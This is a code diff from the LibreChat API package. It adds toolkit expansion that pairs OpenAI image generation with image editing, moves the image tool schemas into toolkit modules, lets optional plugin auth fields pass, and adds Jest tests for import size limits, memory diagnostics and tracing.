 import { loadToolDefinitions } from './definitions';
+import { toolkitExpansion, toolkitParent } from './toolkits/mapping';
+import { getToolDefinition } from './registry/definitions';
 import type {
   LoadToolDefinitionsParams,
   LoadToolDefinitionsDeps,
@@ -474,6 +476,73 @@ describe('definitions.ts', () => {
       });
     });
 
+    describe('toolkit expansion', () => {
+      it('should expand image_gen_oai to include image_edit_oai', async () => {
+        mockIsBuiltInTool.mockImplementation((name) => name === 'image_gen_oai');
+
+        const params: LoadToolDefinitionsParams = {
+          userId: 'user-123',
+          agentId: 'agent-123',
+          tools: ['image_gen_oai'],
+        };
+
+        const deps: LoadToolDefinitionsDeps = {
+          getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools,
+          isBuiltInTool: mockIsBuiltInTool,
+          loadAuthValues: mockLoadAuthValues,
+        };
+
+        const result = await loadToolDefinitions(params, deps);
+
+        const genDef = result.toolDefinitions.find((d) => d.name === 'image_gen_oai');
+        const editDef = result.toolDefinitions.find((d) => d.name === 'image_edit_oai');
+        expect(genDef).toBeDefined();
+        expect(editDef).toBeDefined();
+        expect(editDef?.parameters).toBeDefined();
+        expect(result.toolRegistry.has('image_gen_oai')).toBe(true);
+        expect(result.toolRegistry.has('image_edit_oai')).toBe(true);
+      });
+
+      it('should not duplicate image_edit_oai when toolkit is the only tool', async () => {
+        mockIsBuiltInTool.mockImplementation((name) => name === 'image_gen_oai');
+
+        const params: LoadToolDefinitionsParams = {
+          userId: 'user-123',
+          agentId: 'agent-123',
+          tools: ['image_gen_oai'],
+        };
+
+        const deps: LoadToolDefinitionsDeps = {
+          getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools,
+          isBuiltInTool: mockIsBuiltInTool,
+          loadAuthValues: mockLoadAuthValues,
+        };
+
+        const result = await loadToolDefinitions(params, deps);
+
+        const editDefs = result.toolDefinitions.filter((d) => d.name === 'image_edit_oai');
+        expect(editDefs).toHaveLength(1);
+      });
+    });
+
+    describe('toolkit mapping invariants', () => {
+      it('toolkitParent should be the inverse of toolkitExpansion', () => {
+        expect(toolkitParent['image_edit_oai']).toBe('image_gen_oai');
+        const parentKeys = Object.keys(toolkitParent).sort();
+        const expansionChildren = Object.values(toolkitExpansion).flat().sort();
+        expect(parentKeys).toEqual(expansionChildren);
+      });
+
+      it('every toolkitExpansion entry should reference existing tool definitions', () => {
+        for (const [parent, children] of Object.entries(toolkitExpansion)) {
+          expect(getToolDefinition(parent)).toBeDefined();
+          for (const child of children) {
+            expect(getToolDefinition(child)).toBeDefined();
+          }
+        }
+      });
+    });
+
     describe('tool registry metadata', () => {
       it('should include description and parameters in registry for action tools', async () => {
         const mockActionDefs: ActionToolDefinition[] = [
diff --git a/packages/api/src/tools/definitions.ts b/packages/api/src/tools/definitions.ts
index a5b35ac7d8..1598baee70 100644
--- a/packages/api/src/tools/definitions.ts
+++ b/packages/api/src/tools/definitions.ts
@@ -12,6 +12,7 @@ import type { ToolDefinition } from './classification';
 import { resolveJsonSchemaRefs, normalizeJsonSchema } from '~/mcp/zod';
 import { buildToolClassification } from './classification';
 import { getToolDefinition } from './registry/definitions';
+import { toolkitExpansion } from './toolkits/mapping';
 
 export interface MCPServerTool {
   function?: {
@@ -116,6 +117,20 @@ export async function loadToolDefinitions(
         description: registryDef.description,
         parameters: registryDef.schema as JsonSchemaType | undefined,
       });
+
+      const extraTools = toolkitExpansion[toolName as keyof typeof toolkitExpansion];
+      if (extraTools) {
+        for (const extra of extraTools) {
+          const extraDef = getToolDefinition(extra);
+          if (extraDef) {
+            builtInToolDefs.push({
+              name: extra,
+              description: extraDef.description,
+              parameters: extraDef.schema as JsonSchemaType | undefined,
+            });
+          }
+        }
+      }
       continue;
     }
 
diff --git a/packages/api/src/tools/format.spec.ts b/packages/api/src/tools/format.spec.ts
index 2119cd724d..68a32090e9 100644
--- a/packages/api/src/tools/format.spec.ts
+++ b/packages/api/src/tools/format.spec.ts
@@ -189,6 +189,77 @@ describe('format.ts helper functions', () => {
       const result = checkPluginAuth(plugin);
       expect(result).toBe(true);
     });
+
+    it('should return true when auth field is marked as optional with no env vars', () => {
+      const plugin: TPlugin = {
+        name: 'Test',
+        pluginKey: 'test',
+        description: 'Test plugin',
+        authConfig: [
+          { authField: 'MISSING_KEY', label: 'API Key', description: 'API Key', optional: true },
+        ],
+      };
+
+      const result = checkPluginAuth(plugin);
+      expect(result).toBe(true);
+    });
+
+    it('should return true when all auth fields are optional', () => {
+      const plugin: TPlugin = {
+        name: 'Test',
+        pluginKey: 'test',
+        description: 'Test plugin',
+        authConfig: [
+          { authField: 'MISSING_KEY_A', label: 'Key A', description: 'Key A', optional: true },
+          { authField: 'MISSING_KEY_B', label: 'Key B', description: 'Key B', optional: true },
+        ],
+      };
+
+      const result = checkPluginAuth(plugin);
+      expect(result).toBe(true);
+    });
+
+    it('should return false when required field is missing even if optional field exists', () => {
+      const plugin: TPlugin = {
+        name: 'Test',
+        pluginKey: 'test',
+        description: 'Test plugin',
+        authConfig: [
+          { authField: 'MISSING_KEY', label: 'Required Key', description: 'Required' },
+          {
+            authField: 'OPTIONAL_KEY',
+            label: 'Optional Key',
+            description: 'Optional',
+            optional: true,
+          },
+        ],
+      };
+
+      const result = checkPluginAuth(plugin);
+      expect(result).toBe(false);
+    });
+
+    it('should return true when optional field has no env var but required field is satisfied', () => {
+      process.env.REQUIRED_KEY = 'valid-key';
+
+      const plugin: TPlugin = {
+        name: 'Test',
+        pluginKey: 'test',
+        description: 'Test plugin',
+        authConfig: [
+          { authField: 'REQUIRED_KEY', label: 'Required Key', description: 'Required' },
+          {
+            authField: 'OPTIONAL_KEY',
+            label: 'Optional Key',
+            description: 'Optional',
+            optional: true,
+          },
+        ],
+      };
+
+      const result = checkPluginAuth(plugin);
+      expect(result).toBe(true);
+    });
   });
 
   describe('getToolkitKey', () => {
diff --git a/packages/api/src/tools/format.ts b/packages/api/src/tools/format.ts
index 2525743ff2..feab29461e 100644
--- a/packages/api/src/tools/format.ts
+++ b/packages/api/src/tools/format.ts
@@ -31,6 +31,10 @@ export const checkPluginAuth = (plugin?: TPlugin): boolean => {
   }
 
   return plugin.authConfig.every((authFieldObj) => {
+    if (authFieldObj.optional === true) {
+      return true;
+    }
+
     const authFieldOptions = authFieldObj.authField.split('||');
     let isFieldAuthenticated = false;
 
diff --git a/packages/api/src/tools/registry/definitions.ts b/packages/api/src/tools/registry/definitions.ts
index f8d1c83a7e..b0d03199bd 100644
--- a/packages/api/src/tools/registry/definitions.ts
+++ b/packages/api/src/tools/registry/definitions.ts
@@ -3,6 +3,8 @@ import {
   CalculatorToolDefinition,
   CodeExecutionToolDefinition,
 } from '@librechat/agents';
+import { geminiToolkit } from '~/tools/toolkits/gemini';
+import { oaiToolkit } from '~/tools/toolkits/oai';
 
 /** Extended JSON Schema type that includes standard validation keywords */
 export type ExtendedJsonSchema = {
@@ -352,128 +354,6 @@ export const fileSearchSchema: ExtendedJsonSchema = {
   required: ['query'],
 };
 
-/** OpenAI Image Generation tool JSON schema */
-export const imageGenOaiSchema: ExtendedJsonSchema = {
-  type: 'object',
-  properties: {
-    prompt: {
-      type: 'string',
-      maxLength: 32000,
-      description: `Describe the image you want in detail. 
-      Be highly specific—break your idea into layers: 
-      (1) main concept and subject,
-      (2) composition and position,
-      (3) lighting and mood,
-      (4) style, medium, or camera details,
-      (5) important features (age, expression, clothing, etc.),
-      (6) background.
-      Use positive, descriptive language and specify what should be included, not what to avoid. 
-      List number and characteristics of people/objects, and mention style/technical requirements (e.g., "DSLR photo, 85mm lens, golden hour").
-      Do not reference any uploaded images—use for new image creation from text only.`,
-    },
-    background: {
-      type: 'string',
-      enum: ['transparent', 'opaque', 'auto'],
-      description:
-        'Sets transparency for the background. Must be one of transparent, opaque or auto (default). When transparent, the output format should be png or webp.',
-    },
-    quality: {
-      type: 'string',
-      enum: ['auto', 'high', 'medium', 'low'],
-      description: 'The quality of the image. One of auto (default), high, medium, or low.',
-    },
-    size: {
-      type: 'string',
-      enum: ['auto', '1024x1024', '1536x1024', '1024x1536'],
-      description:
-        'The size of the generated image. One of 1024x1024, 1536x1024 (landscape), 1024x1536 (portrait), or auto (default).',
-    },
-  },
-  required: ['prompt'],
-};
-
-/** OpenAI Image Edit tool JSON schema */
-export const imageEditOaiSchema: ExtendedJsonSchema = {
-  type: 'object',
-  properties: {
-    image_ids: {
-      type: 'array',
-      items: { type: 'string' },
-      minItems: 1,
-      description: `IDs (image ID strings) of previously generated or uploaded images that should guide the edit.
-
-Guidelines:
-- If the user's request depends on any prior image(s), copy their image IDs into the \`image_ids\` array (in the same order the user refers to them).  
-- Never invent or hallucinate IDs; only use IDs that are still visible in the conversation context.
-- If no earlier image is relevant, omit the field entirely.`,
-    },
-    prompt: {
-      type: 'string',
-      maxLength: 32000,
-      description: `Describe the changes, enhancements, or new ideas to apply to the uploaded image(s).
-      Be highly specific—break your request into layers: 
-      (1) main concept or transformation,
-      (2) specific edits/replacements or composition guidance,
-      (3) desired style, mood, or technique,
-      (4) features/items to keep, change, or add (such as objects, people, clothing, lighting, etc.).
-      Use positive, descriptive language and clarify what should be included or changed, not what to avoid.
-      Always base this prompt on the most recently uploaded reference images.`,
-    },
-    quality: {
-      type: 'string',
-      enum: ['auto', 'high', 'medium', 'low'],
-      description:
-        'The quality of the image. One of auto (default), high, medium, or low. High/medium/low only supported for gpt-image-1.',
-    },
-    size: {
-      type: 'string',
-      enum: ['auto', '1024x1024', '1536x1024', '1024x1536', '256x256', '512x512'],
-      description:
-        'The size of the generated images. For gpt-image-1: auto (default), 1024x1024, 1536x1024, 1024x1536. For dall-e-2: 256x256, 512x512, 1024x1024.',
-    },
-  },
-  required: ['image_ids', 'prompt'],
-};
-
-/** Gemini Image Generation tool JSON schema */
-export const geminiImageGenSchema: ExtendedJsonSchema = {
-  type: 'object',
-  properties: {
-    prompt: {
-      type: 'string',
-      maxLength: 32000,
-      description:
-        'A detailed text description of the desired image, up to 32000 characters. For "editing" requests, describe the changes you want to make to the referenced image. Be specific about composition, style, lighting, and subject matter.',
-    },
-    image_ids: {
-      type: 'array',
-      items: { type: 'string' },
-      description: `Optional array of image IDs to use as visual context for generation.
-
-Guidelines:
-- For "editing" requests: ALWAYS include the image ID being "edited"
-- For new generation with context: Include any relevant reference image IDs
-- If the user's request references any prior images, include their image IDs in this array
-- These images will be used as visual context/inspiration for the new generation
-- Never invent or hallucinate IDs; only use IDs that are visible in the conversation
-- If no images are relevant, omit this field entirely`,
-    },
-    aspectRatio: {
-      type: 'string',
-      enum: ['1:1', '2:3', '3:2', '3:4', '4:3', '4:5', '5:4', '9:16', '16:9', '21:9'],
-      description:
-        'The aspect ratio of the generated image. Use 16:9 or 3:2 for landscape, 9:16 or 2:3 for portrait, 21:9 for ultra-wide/cinematic, 1:1 for square. Defaults to 1:1 if not specified.',
-    },
-    imageSize: {
-      type: 'string',
-      enum: ['1K', '2K', '4K'],
-      description:
-        'The resolution of the generated image. Use 1K for standard, 2K for high, 4K for maximum quality. Defaults to 1K if not specified.',
-    },
-  },
-  required: ['prompt'],
-};
-
 /** Tool definitions registry - maps tool names to their definitions */
 export const toolDefinitions: Record<string, ToolRegistryDefinition> = {
   google: {
@@ -549,56 +429,25 @@ export const toolDefinitions: Record<string, ToolRegistryDefinition> = {
     responseFormat: 'content_and_artifact',
   },
   image_gen_oai: {
-    name: 'image_gen_oai',
-    description: `Generates high-quality, original images based solely on text, not using any uploaded reference images.
-
-When to use \`image_gen_oai\`:
-- To create entirely new images from detailed text descriptions that do NOT reference any image files.
-
-When NOT to use \`image_gen_oai\`:
-- If the user has uploaded any images and requests modifications, enhancements, or remixing based on those uploads → use \`image_edit_oai\` instead.
-
-Generated image IDs will be returned in the response, so you can refer to them in future requests made to \`image_edit_oai\`.`,
-    schema: imageGenOaiSchema,
+    name: oaiToolkit.image_gen_oai.name,
+    description: oaiToolkit.image_gen_oai.description,
+    schema: oaiToolkit.image_gen_oai.schema,
     toolType: 'builtin',
-    responseFormat: 'content_and_artifact',
+    responseFormat: oaiToolkit.image_gen_oai.responseFormat,
   },
   image_edit_oai: {
-    name: 'image_edit_oai',
-    description: `Generates high-quality, original images based on text and one or more uploaded/referenced images.
-
-When to use \`image_edit_oai\`:
-- The user wants to modify, extend, or remix one **or more** uploaded images, either:
-- Previously generated, or in the current request (both to be included in the \`image_ids\` array).
-- Always when the user refers to uploaded images for editing, enhancement, remixing, style transfer, or combining elements.
-- Any current or existing images are to be used as visual guides.
-- If there are any files in the current request, they are more likely than not expected as references for image edit requests.
-
-When NOT to use \`image_edit_oai\`:
-- Brand-new generations that do not rely on an existing image → use \`image_gen_oai\` instead.
-
-Both generated and referenced image IDs will be returned in the response, so you can refer to them in future requests made to \`image_edit_oai\`.`,
-    schema: imageEditOaiSchema,
+    name: oaiToolkit.image_edit_oai.name,
+    description: oaiToolkit.image_edit_oai.description,
+    schema: oaiToolkit.image_edit_oai.schema,
     toolType: 'builtin',
-    responseFormat: 'content_and_artifact',
+    responseFormat: oaiToolkit.image_edit_oai.responseFormat,
   },
   gemini_image_gen: {
-    name: 'gemini_image_gen',
-    description: `Generates high-quality, original images based on text prompts, with optional image context.
-
-When to use \`gemini_image_gen\`:
-- To create entirely new images from detailed text descriptions
-- To generate images using existing images as context or inspiration
-- When the user requests image generation, creation, or asks to "generate an image"
-- When the user asks to "edit", "modify", "change", or "swap" elements in an image (generates new image with changes)
-
-When NOT to use \`gemini_image_gen\`:
-- For uploading or saving existing images without modification
-
-Generated image IDs will be returned in the response, so you can refer to them in future requests.`,
-    schema: geminiImageGenSchema,
+    name: geminiToolkit.gemini_image_gen.name,
+    description: geminiToolkit.gemini_image_gen.description,
+    schema: geminiToolkit.gemini_image_gen.schema,
     toolType: 'builtin',
-    responseFormat: 'content_and_artifact',
+    responseFormat: geminiToolkit.gemini_image_gen.responseFormat,
   },
 };
 
diff --git a/packages/api/src/tools/toolkits/index.ts b/packages/api/src/tools/toolkits/index.ts
index efc2467b45..68b67d69d5 100644
--- a/packages/api/src/tools/toolkits/index.ts
+++ b/packages/api/src/tools/toolkits/index.ts
@@ -1,4 +1,5 @@
 export * from './gemini';
 export * from './imageContext';
+export * from './mapping';
 export * from './oai';
 export * from './web';
diff --git a/packages/api/src/tools/toolkits/mapping.ts b/packages/api/src/tools/toolkits/mapping.ts
new file mode 100644
index 0000000000..e6cb14d9bc
--- /dev/null
+++ b/packages/api/src/tools/toolkits/mapping.ts
@@ -0,0 +1,15 @@
+/**
+ * Maps toolkit keys to additional tool names they contain.
+ * When a toolkit key appears in an agent's tool list,
+ * these extra tools should also be included.
+ */
+export const toolkitExpansion = {
+  image_gen_oai: ['image_edit_oai'],
+} as const satisfies Readonly<Record<string, readonly string[]>>;
+
+/** Reverse mapping: maps child tool names to their parent toolkit key */
+export const toolkitParent: Readonly<Record<string, string>> = Object.fromEntries(
+  Object.entries(toolkitExpansion).flatMap(([parent, children]) =>
+    children.map((child) => [child, parent]),
+  ),
+);
diff --git a/packages/api/src/types/files.ts b/packages/api/src/types/files.ts
index 6a403932da..ada6ff024c 100644
--- a/packages/api/src/types/files.ts
+++ b/packages/api/src/types/files.ts
@@ -1,6 +1,7 @@
+import type { BedrockDocumentFormat } from 'librechat-data-provider';
 import type { IMongoFile } from '@librechat/data-schemas';
-import type { ServerRequest } from './http';
 import type { Readable } from 'stream';
+import type { ServerRequest } from './http';
 export interface STTService {
   getInstance(): Promise<STTService>;
   getProviderSchema(req: ServerRequest): Promise<[string, object]>;
@@ -95,11 +96,24 @@ export interface OpenAIInputFileBlock {
   file_data: string;
 }
 
+/** Bedrock Converse API document block (passthrough via @langchain/aws) */
+export interface BedrockDocumentBlock {
+  type: 'document';
+  document: {
+    name: string;
+    format: BedrockDocumentFormat;
+    source: {
+      bytes: Buffer;
+    };
+  };
+}
+
 export type DocumentBlock =
   | AnthropicDocumentBlock
   | GoogleDocumentBlock
   | OpenAIFileBlock
-  | OpenAIInputFileBlock;
+  | OpenAIInputFileBlock
+  | BedrockDocumentBlock;
 
 export interface DocumentResult {
   documents: DocumentBlock[];
diff --git a/packages/api/src/utils/__tests__/import.test.ts b/packages/api/src/utils/__tests__/import.test.ts
new file mode 100644
index 0000000000..08fa94669d
--- /dev/null
+++ b/packages/api/src/utils/__tests__/import.test.ts
@@ -0,0 +1,76 @@
+jest.mock('@librechat/data-schemas', () => ({
+  logger: { info: jest.fn(), warn: jest.fn(), error: jest.fn(), debug: jest.fn() },
+}));
+
+import { DEFAULT_IMPORT_MAX_FILE_SIZE, resolveImportMaxFileSize } from '../import';
+import { logger } from '@librechat/data-schemas';
+
+describe('resolveImportMaxFileSize', () => {
+  let originalEnv: string | undefined;
+
+  beforeEach(() => {
+    originalEnv = process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES;
+    jest.clearAllMocks();
+  });
+
+  afterEach(() => {
+    if (originalEnv !== undefined) {
+      process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = originalEnv;
+    } else {
+      delete process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES;
+    }
+  });
+
+  it('returns 262144000 (250 MiB) when env var is not set', () => {
+    delete process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES;
+    expect(resolveImportMaxFileSize()).toBe(262144000);
+    expect(DEFAULT_IMPORT_MAX_FILE_SIZE).toBe(262144000);
+  });
+
+  it('returns default when env var is empty string', () => {
+    process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = '';
+    expect(resolveImportMaxFileSize()).toBe(DEFAULT_IMPORT_MAX_FILE_SIZE);
+  });
+
+  it('respects a custom numeric value', () => {
+    process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = '5242880';
+    expect(resolveImportMaxFileSize()).toBe(5242880);
+  });
+
+  it('parses string env var to number', () => {
+    process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = '1048576';
+    expect(resolveImportMaxFileSize()).toBe(1048576);
+  });
+
+  it('falls back to default and warns for non-numeric string', () => {
+    process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = 'abc';
+    expect(resolveImportMaxFileSize()).toBe(DEFAULT_IMPORT_MAX_FILE_SIZE);
+    expect(logger.warn).toHaveBeenCalledWith(
+      expect.stringContaining('Invalid CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES'),
+    );
+  });
+
+  it('falls back to default and warns for negative values', () => {
+    process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = '-100';
+    expect(resolveImportMaxFileSize()).toBe(DEFAULT_IMPORT_MAX_FILE_SIZE);
+    expect(logger.warn).toHaveBeenCalledWith(
+      expect.stringContaining('Invalid CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES'),
+    );
+  });
+
+  it('falls back to default and warns for zero', () => {
+    process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = '0';
+    expect(resolveImportMaxFileSize()).toBe(DEFAULT_IMPORT_MAX_FILE_SIZE);
+    expect(logger.warn).toHaveBeenCalledWith(
+      expect.stringContaining('Invalid CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES'),
+    );
+  });
+
+  it('falls back to default and warns for Infinity', () => {
+    process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = 'Infinity';
+    expect(resolveImportMaxFileSize()).toBe(DEFAULT_IMPORT_MAX_FILE_SIZE);
+    expect(logger.warn).toHaveBeenCalledWith(
+      expect.stringContaining('Invalid CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES'),
+    );
+  });
+});
diff --git a/packages/api/src/utils/__tests__/memory.test.ts b/packages/api/src/utils/__tests__/memory.test.ts
new file mode 100644
index 0000000000..c821088856
--- /dev/null
+++ b/packages/api/src/utils/__tests__/memory.test.ts
@@ -0,0 +1,173 @@
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    debug: jest.fn(),
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+  },
+}));
+
+jest.mock('~/stream', () => ({
+  GenerationJobManager: {
+    getRuntimeStats: jest.fn(() => null),
+  },
+}));
+
+jest.mock('~/mcp/oauth/OAuthReconnectionManager', () => ({
+  OAuthReconnectionManager: {
+    getInstance: jest.fn(() => ({
+      getTrackerStats: jest.fn(() => null),
+    })),
+  },
+}));
+
+jest.mock('~/mcp/MCPManager', () => ({
+  MCPManager: {
+    getInstance: jest.fn(() => ({
+      getConnectionStats: jest.fn(() => null),
+    })),
+  },
+}));
+
+import { logger } from '@librechat/data-schemas';
+import { memoryDiagnostics } from '../memory';
+
+type MockFn = jest.Mock<void, unknown[]>;
+
+const debugMock = logger.debug as unknown as MockFn;
+const infoMock = logger.info as unknown as MockFn;
+const warnMock = logger.warn as unknown as MockFn;
+
+function callsContaining(mock: MockFn, substring: string): unknown[][] {
+  return mock.mock.calls.filter(
+    (args) => typeof args[0] === 'string' && (args[0] as string).includes(substring),
+  );
+}
+
+beforeEach(() => {
+  jest.clearAllMocks();
+  jest.useFakeTimers();
+  memoryDiagnostics.stop();
+
+  const snaps = memoryDiagnostics.getSnapshots() as unknown[];
+  snaps.length = 0;
+});
+
+afterEach(() => {
+  memoryDiagnostics.stop();
+  jest.useRealTimers();
+});
+
+describe('memoryDiagnostics', () => {
+  describe('collectSnapshot', () => {
+    it('pushes a snapshot with expected shape', () => {
+      memoryDiagnostics.collectSnapshot();
+
+      const snaps = memoryDiagnostics.getSnapshots();
+      expect(snaps).toHaveLength(1);
+      expect(snaps[0]).toEqual(
+        expect.objectContaining({
+          ts: expect.any(Number),
+          rss: expect.any(Number),
+          heapUsed: expect.any(Number),
+          heapTotal: expect.any(Number),
+          external: expect.any(Number),
+          arrayBuffers: expect.any(Number),
+        }),
+      );
+    });
+
+    it('caps history at 120 snapshots', () => {
+      for (let i = 0; i < 130; i++) {
+        memoryDiagnostics.collectSnapshot();
+      }
+      expect(memoryDiagnostics.getSnapshots()).toHaveLength(120);
+    });
+
+    it('does not log trend with fewer than 3 snapshots', () => {
+      memoryDiagnostics.collectSnapshot();
+      memoryDiagnostics.collectSnapshot();
+
+      expect(callsContaining(debugMock, 'Trend')).toHaveLength(0);
+    });
+
+    it('skips trend when elapsed time is under 0.1 minutes', () => {
+      memoryDiagnostics.collectSnapshot();
+      memoryDiagnostics.collectSnapshot();
+      memoryDiagnostics.collectSnapshot();
+
+      expect(callsContaining(debugMock, 'Trend')).toHaveLength(0);
+    });
+
+    it('logs trend data when enough time has elapsed', () => {
+      memoryDiagnostics.collectSnapshot();
+
+      jest.advanceTimersByTime(7_000);
+      memoryDiagnostics.collectSnapshot();
+
+      jest.advanceTimersByTime(7_000);
+      memoryDiagnostics.collectSnapshot();
+
+      const trendCalls = callsContaining(debugMock, 'Trend');
+      expect(trendCalls.length).toBeGreaterThanOrEqual(1);
+
+      const trendPayload = trendCalls[0][1] as Record<string, string>;
+      expect(trendPayload).toHaveProperty('rssRate');
+      expect(trendPayload).toHaveProperty('heapRate');
+      expect(trendPayload.rssRate).toMatch(/MB\/hr$/);
+      expect(trendPayload.heapRate).toMatch(/MB\/hr$/);
+      expect(trendPayload.rssRate).not.toBe('Infinity MB/hr');
+      expect(trendPayload.heapRate).not.toBe('Infinity MB/hr');
+    });
+  });
+
+  describe('start / stop', () => {
+    it('start is idempotent — calling twice does not create two intervals', () => {
+      memoryDiagnostics.start();
+      memoryDiagnostics.start();
+
+      expect(callsContaining(infoMock, 'Starting')).toHaveLength(1);
+    });
+
+    it('stop is idempotent — calling twice does not error', () => {
+      memoryDiagnostics.start();
+      memoryDiagnostics.stop();
+      memoryDiagnostics.stop();
+
+      expect(callsContaining(infoMock, 'Stopped')).toHaveLength(1);
+    });
+
+    it('collects an immediate snapshot on start', () => {
+      expect(memoryDiagnostics.getSnapshots()).toHaveLength(0);
+      memoryDiagnostics.start();
+      expect(memoryDiagnostics.getSnapshots().length).toBeGreaterThanOrEqual(1);
+    });
+  });
+
+  describe('forceGC', () => {
+    it('returns false and warns when gc is not exposed', () => {
+      const origGC = global.gc;
+      global.gc = undefined;
+
+      const result = memoryDiagnostics.forceGC();
+
+      expect(result).toBe(false);
+      expect(warnMock).toHaveBeenCalledWith(expect.stringContaining('GC not exposed'));
+
+      global.gc = origGC;
+    });
+
+    it('calls gc and returns true when gc is exposed', () => {
+      const mockGC = jest.fn();
+      global.gc = mockGC;
+
+      const result = memoryDiagnostics.forceGC();
+
+      expect(result).toBe(true);
+      expect(mockGC).toHaveBeenCalledTimes(1);
+      expect(infoMock).toHaveBeenCalledWith(expect.stringContaining('Forced garbage collection'));
+
+      global.gc = undefined;
+    });
+  });
+});
diff --git a/packages/api/src/utils/__tests__/tracing.test.ts b/packages/api/src/utils/__tests__/tracing.test.ts
new file mode 100644
index 0000000000..679b28e327
--- /dev/null
+++ b/packages/api/src/utils/__tests__/tracing.test.ts
@@ -0,0 +1,137 @@
+import { AsyncLocalStorage } from 'node:async_hooks';
+
+const TRACING_ALS_KEY = Symbol.for('ls:tracing_async_local_storage');
+const typedGlobal = globalThis as typeof globalThis & Record<symbol, AsyncLocalStorage<unknown>>;
+
+let originalStorage: AsyncLocalStorage<unknown> | undefined;
+
+beforeEach(() => {
+  originalStorage = typedGlobal[TRACING_ALS_KEY];
+  jest.restoreAllMocks();
+});
+
+afterEach(() => {
+  if (originalStorage) {
+    typedGlobal[TRACING_ALS_KEY] = originalStorage;
+  } else {
+    delete typedGlobal[TRACING_ALS_KEY];
+  }
+  delete process.env.LANGCHAIN_TRACING_V2;
+});
+
+async function freshImport(): Promise<typeof import('../tracing')> {
+  jest.resetModules();
+  return import('../tracing');
+}
+
+describe('runOutsideTracing', () => {
+  it('clears the ALS context to undefined inside fn', async () => {
+    const als = new AsyncLocalStorage<string>();
+    typedGlobal[TRACING_ALS_KEY] = als as AsyncLocalStorage<unknown>;
+
+    const { runOutsideTracing } = await freshImport();
+
+    let captured: string | undefined = 'NOT_CLEARED';
+    als.run('should-not-propagate', () => {
+      runOutsideTracing(() => {
+        captured = als.getStore();
+      });
+    });
+
+    expect(captured).toBeUndefined();
+  });
+
+  it('returns the value produced by fn (sync)', async () => {
+    const als = new AsyncLocalStorage<string>();
+    typedGlobal[TRACING_ALS_KEY] = als as AsyncLocalStorage<unknown>;
+
+    const { runOutsideTracing } = await freshImport();
+
+    const result = als.run('ctx', () => runOutsideTracing(() => 42));
+    expect(result).toBe(42);
+  });
+
+  it('returns the promise produced by fn (async)', async () => {
+    const als = new AsyncLocalStorage<string>();
+    typedGlobal[TRACING_ALS_KEY] = als as AsyncLocalStorage<unknown>;
+
+    const { runOutsideTracing } = await freshImport();
+
+    const result = await als.run('ctx', () =>
+      runOutsideTracing(async () => {
+        await Promise.resolve();
+        return 'async-value';
+      }),
+    );
+    expect(result).toBe('async-value');
+  });
+
+  it('propagates sync errors thrown inside fn', async () => {
+    const als = new AsyncLocalStorage<string>();
+    typedGlobal[TRACING_ALS_KEY] = als as AsyncLocalStorage<unknown>;
+
+    const { runOutsideTracing } = await freshImport();
+
+    expect(() =>
+      runOutsideTracing(() => {
+        throw new Error('boom');
+      }),
+    ).toThrow('boom');
+  });
+
+  it('propagates async rejections from fn', async () => {
+    const als = new AsyncLocalStorage<string>();
+    typedGlobal[TRACING_ALS_KEY] = als as AsyncLocalStorage<unknown>;
+
+    const { runOutsideTracing } = await freshImport();
+
+    await expect(
+      runOutsideTracing(async () => {
+        throw new Error('async-boom');
+      }),
+    ).rejects.toThrow('async-boom');
+  });
+
+  it('falls back to fn() when ALS is not on globalThis', async () => {
+    delete typedGlobal[TRACING_ALS_KEY];
+
+    const { runOutsideTracing } = await freshImport();
+
+    const result = runOutsideTracing(() => 'fallback');
+    expect(result).toBe('fallback');
+  });
+
+  it('does not warn when LANGCHAIN_TRACING_V2 is not set', async () => {
+    delete typedGlobal[TRACING_ALS_KEY];
+    delete process.env.LANGCHAIN_TRACING_V2;
+
+    const warnSpy = jest.fn();
+    jest.resetModules();
+    jest.doMock('@librechat/data-schemas', () => ({
+      logger: { warn: warnSpy },
+    }));
+    const { runOutsideTracing } = await import('../tracing');
+
+    runOutsideTracing(() => 'ok');
+    expect(warnSpy).not.toHaveBeenCalled();
+  });
+
+  it('warns once when LANGCHAIN_TRACING_V2 is set but ALS is missing', async () => {
+    delete typedGlobal[TRACING_ALS_KEY];
+    process.env.LANGCHAIN_TRACING_V2 = 'true';
+
+    const warnSpy = jest.fn();
+    jest.resetModules();
+    jest.doMock('@librechat/data-schemas', () => ({
+      logger: { warn: warnSpy },
+    }));
+    const { runOutsideTracing } = await import('../tracing');
+
+    runOutsideTracing(() => 'first');
+    runOutsideTracing(() => 'second');
+    expect(warnSpy).toHaveBeenCalledTimes(1);
+    expect(warnSpy).toHaveBeenCalledWith(
+      expect.stringContaining('LANGCHAIN_TRACING_V2 is set but ALS not found'),
+    );
+  });
+});
diff --git a/packages/api/src/utils/env.spec.ts b/packages/api/src/utils/env.spec.ts
index eec15c1c25..c241cb2b51 100644
--- a/packages/api/src/utils/env.spec.ts
+++ b/packages/api/src/utils/env.spec.ts
@@ -1,13 +1,8 @@
+import { Types } from 'mongoose';
 import { TokenExchangeMethodEnum } from 'librechat-data-provider';
-import {
-  resolveHeaders,
-  resolveNestedObject,
-  processMCPEnv,
-  encodeHeaderValue,
-} from './env';
 import type { MCPOptions } from 'librechat-data-provider';
 import type { IUser } from '@librechat/data-schemas';
-import { Types } from 'mongoose';
+import { resolveHeaders, resolveNestedObject, processMCPEnv, encodeHeaderValue } from './env';
 
 function isStdioOptions(options: MCPOptions): options is Extract<MCPOptions, { type?: 'stdio' }> {
   return !options.type || options.type === 'stdio';
